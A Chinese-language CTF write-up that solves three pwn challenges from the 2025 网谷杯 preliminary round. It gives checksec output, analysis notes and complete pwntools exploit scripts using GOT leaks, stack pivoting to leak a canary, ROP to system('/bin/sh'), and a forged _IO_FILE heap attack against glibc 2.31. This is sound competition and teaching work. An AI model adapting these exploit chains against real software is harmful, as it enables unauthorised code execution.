Overview
2025的网谷杯初赛,pwn方向的题目除了一道IO题有点麻烦以外,其余的都还是适中难度,在此记录下我的做法
zeroday
看题目名字和给的hint有点像web+pwn和0day漏洞?但是做了之后发现并不是这样,感觉和提示和名字都没有关系
checksec
[*] '/home/gary/CTF/pwn/wgb/zeroday/pwn_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
SHSTK: Enabled
IBT: EnabledBash没有开启canary和pie
ida分析

ida打开之后发现是一个vm,同时在题目中很好心的给出了leak的提示case 7,那么我们可以首先输入b'\x07' + p64(got)的形式来泄漏libc地址

这里我们选择read函数来泄漏
其次,case 1的逻辑其实就是一个push,同时case 6有一个call函数指针,但前提是要满足*(_QWORD *)(a1 + 0x90)不为空,那么我们使用push填满再call就行了。记住一定不要想着发送eof来栈溢出!
exp
#!/usr/bin/env python3
from pwn import *
import re
filename = "./pwn_patched"
libc_path = "./libc.so.6"
host = "127.0.0.1"
port = 41361
elf = context.binary = ELF(filename)
libc = ELF(libc_path)
context(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
p = process(elf.path)
# p = remote(host, port)
def debug():
gdb.attach(p)
pause()
def make_push(q):
return b'\x01' + p64(q)
def make_leak(addr):
return b'\x07' + p64(addr)
def recv_prompt(p):
return p.recvuntil(b"Enter bytecode:")
def leak_got(p, got_addr):
recv_prompt(p)
p.send(make_leak(got_addr))
line = p.recvline_contains(b"LEAK:")
m = re.search(rb"LEAK: \[0x[0-9a-fA-F]+\] = 0x([0-9a-fA-F]+) ", line)
if not m:
raise RuntimeError("leak parse failed: " + repr(line))
val = int(m.group(1), 16)
return val
def PUSH(x): return b'\x01' + p64(x) # imm64 小端
def CALL(): return b'\x06'
def main():
# leak printf from GOT using case7
read_got = elf.got['read']
debug()
leaked_read = leak_got(p, read_got)
log.info(f"leaked read = {hex(leaked_read)}")
libc_base = leaked_read - libc.symbols['read']
log.info(f"libc base = {hex(libc_base)}")
one_gadget = libc_base + 0xe3afe
address = one_gadget # 你要执行的地址(小端进 p64)
payload = b''.join(PUSH(0) for _ in range(16)) # 先把 sp 推到 16
payload += PUSH(address) # 写到 index 18
payload += CALL()
# debug()
p.send(payload)
p.interactive()
if __name__ == "__main__":
main()Python金丝雀
checksec
[*] '/home/gary/CTF/pwn/wgb/canary/pwn_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
SHSTK: Enabled
IBT: Enabled
Stripped: NoBash没有开启pie
ida分析

有一个功能选择,1是执行gift(),0是跳过canary直接栈溢出,但是只能覆盖rbp和ret addr

gift()就是一个最平常的栈溢出,大小足够
思路
这个题首要的任务就是获取canary,libc通过rop链栈溢出就能获取,那如何获取canary呢
我们分析输出函数

一个write一个puts,puts函数可以打印rdi,但是想把canary放到rdi上还是很难的
那另一个就是write函数了,这个函数通过rbp寻址,那么如果我们能控制rbp,是不是也就能控制输出的东西了,而想控制rbp就需要栈迁移等操作,发现func 0正好可以完成栈迁移,那思路就清晰了,通过栈迁移泄漏canary,然后通过rop链泄漏libc,最后栈溢出就行了
exp
#!/usr/bin/env python3
'''
author: Gary
time: 2025-09-13 13:05:51
'''
from pwn import *
context(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
filename = "pwn_patched"
libcname = "/home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6_2.31-0ubuntu9.9_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6-dbg_2.31-0ubuntu9.9_amd64/usr/lib/debug
set directories /home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/glibc-source_2.31-0ubuntu9.9_all/usr/src/glibc/glibc-2.31
'''
def start():
if args.P:
return process(elf.path)
elif args.REMOTE:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)
p = start()
def debug():
gdb.attach(p)
pause()
bss = 0x404800 + 0x100
pop_rdi_ret = 0x00000000004013e3
ret = pop_rdi_ret + 1
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x40128A
gift_addr = 0x40123D
p.recvuntil(b"Do you want to enter other functions?\n")
p.sendline(str(0))
payload = p64(bss) + p64(0x401292)
p.send(payload)
p.recvuntil(b"Do you want to enter other functions?\n") # leak canary
p.sendline(str(0))
payload = p64(bss + 0x48) + p64(0x4012ea)
p.send(payload)
canary = u64(p.recv(8))
log.success("canary: " + hex(canary))
p.sendline(b"1")
payload = b"a"*0x38+p64(canary)+b"b"*8+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x40123d)
p.send(payload)
p.recvuntil(b"functions?\n") # leak libc
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = puts_addr - libc.sym['puts']
log.success("puts_addr: " + hex(puts_addr))
log.success("libc.address: " + hex(libc.address))
system_addr = libc.sym['system']
bin_sh_addr = libc.search(b'/bin/sh').__next__()
payload = b"A"*0x38 + p64(canary) + b"B"*8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
p.send(payload)
p.interactive()PythonIO
checksec
[*] '/home/gary/CTF/pwn/wgb/io/io'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledBash全开,看题目的名字像个堆
ida分析

add限制了大小为0x90-0x1666,同时最多只能有5个堆块,在add输入后有一个读出,这样我们就可以通过残留在chunk中的fd和bk泄漏libc和heap的地址了

edit函数有一个任意地址写,覆盖buf[0]处的地址为一的大数

delete函数有清零,安全
思路
那么我们的思路就是先泄漏libc和heap,然后使用house of corrosion来劫持_IO_list_all,写入我们事先准备好的_IO_FILE就能修改exit()函数的调用链
exp
#!/usr/bin/env python3
'''
author: Gary
time: 2025-09-13 12:01:47
'''
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
filename = "io_patched"
libcname = "/home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6_2.31-0ubuntu9.9_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 9999
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x93A)
set debug-file-directory /home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/libc6-dbg_2.31-0ubuntu9.9_amd64/usr/lib/debug
set directories /home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.9/amd64/glibc-source_2.31-0ubuntu9.9_all/usr/src/glibc/glibc-2.31
'''
def start():
if args.P:
return process(elf.path)
elif args.REMOTE:
return remote(host, port, ssl=True)
else:
return gdb.debug(elf.path, gdbscript = gs)
p = start()
def add(size, content):
p.sendlineafter(b"4.exit\n", b"1")
p.sendlineafter(b"Content length:\n", str(size))
p.sendafter(b"Please input your data:\n", content)
p.recvuntil(b"Your data:")
def edit(content):
p.sendlineafter(b"4.exit\n", b"2")
p.sendafter(b"As if nothing can be done, but it seems useful?\n", content)
def delete(id):
p.sendlineafter(b"4.exit\n", b"3")
p.sendlineafter(b"Content id:\n", str(id))
def exit():
p.sendlineafter(b"4.exit\n", b"4")
add(0x428, b"A"*8) #0
add(0xf0, b"B"*8) #1
delete(0)
add(0x428, b"A"*8) #0
p.recvuntil(b"A"*8)
leak_libc = u64(p.recv(6).ljust(8, b"\x00")) - 0x21ace0 + 0x2e100
log.success("leak_libc: " + hex(leak_libc))
delete(0)
add(0x4f8, b"B"*8) #0
add(0x428, b"C"*0x10) #2 -> 0
p.recvuntil(b"C"*0x10)
leak_heap = u64(p.recv(6).ljust(8, b"\x00")) - 0x290
log.success("leak_heap: " + hex(leak_heap))
pause()
fake_io_addr = leak_heap + 0xcc0
fake_io = flat({
0x00: " sh;\x00",
0x28: p64(1),
0xa0: p64(fake_io_addr + 0xe0),
0xd8: p64(leak_libc + libc.sym["_IO_wfile_jumps"]),
}, filler=b'\x00')
wide = flat({
0xe0: p64(fake_io_addr + 0xe0 + 0xe8),
}, filler=b'\x00')
wide_vtable = flat({
0x68: p64(leak_libc + libc.sym["system"]),
}, filler=b'\x00')
fake_io = fake_io + wide + wide_vtable
fake_io = fake_io[0x10:]
add(0x1430, fake_io)
pause()
delete(0)
add(0x4f8, b"a"*0x4f0+b" sh;\x00\x00\x00")
edit(p64(leak_libc+0x1eeea0))
delete(3)
p.sendline(b"4")
p.interactive()Python





